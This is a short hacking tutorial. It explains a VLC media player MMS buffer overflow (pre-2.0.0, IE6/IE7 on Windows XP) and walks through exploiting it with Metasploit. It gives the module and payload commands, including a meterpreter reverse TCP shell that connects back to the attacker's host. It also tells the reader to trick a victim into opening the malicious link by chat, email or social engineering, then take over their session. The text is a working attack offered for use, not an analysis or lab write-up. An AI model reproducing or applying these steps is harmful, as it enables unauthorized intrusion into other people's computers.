How to Attacking on Remote PC using VLC Media Player Exploit

VLC MMS Stream Handling Buffer Overflow

This module exploits a buffer overflow in VLC media player VLC media player prior to 2.0.0. The vulnerability is due to a dangerous use of sprintf which can result in a stack buffer overflow when handling a malicious MMS URI. This module uses the browser as attack vector. A specially crafted MMS URI is used to trigger the overflow and get flow control through SEH overwrite. Control is transferred to code located in the heap through a standard heap spray. The module only targets IE6 and IE7 because no DEP/ASLR bypass has been provided.

Exploit Targets

VLC media player 2.0.0

Internet Explorer 6 on XP SP2

Internet Explorer 7 on XP SP2


Attacker: Backtrack 5

Victim PC: Windows XP

Open backtrack terminal type msfconsole

Now type use exploit/windows/browser/vlc_mms_bof

Msf exploit (vlc_mms_bof)>set payload windows/meterpreter/reverse_tcp

Msf exploit (vlc_mms_bof)>set lhost (IP of Local Host)

Msf exploit (vlc_mms_bof)>set srvhost (This must be an address on the local machine)

Msf exploit (vlc_mms_bof)>set uripath vlcmms (The Url to use for this exploit)

Msf exploit (vlc_mms_bof)>exploit

Now an URL you should give to your victim

Send the link of the server to the victim via chat or email or any social engineering technique.

Now you have access to the victims PC. Use “Sessions -l” and the Session number to connect to the session. And Now Type “sessions -i ID“ 

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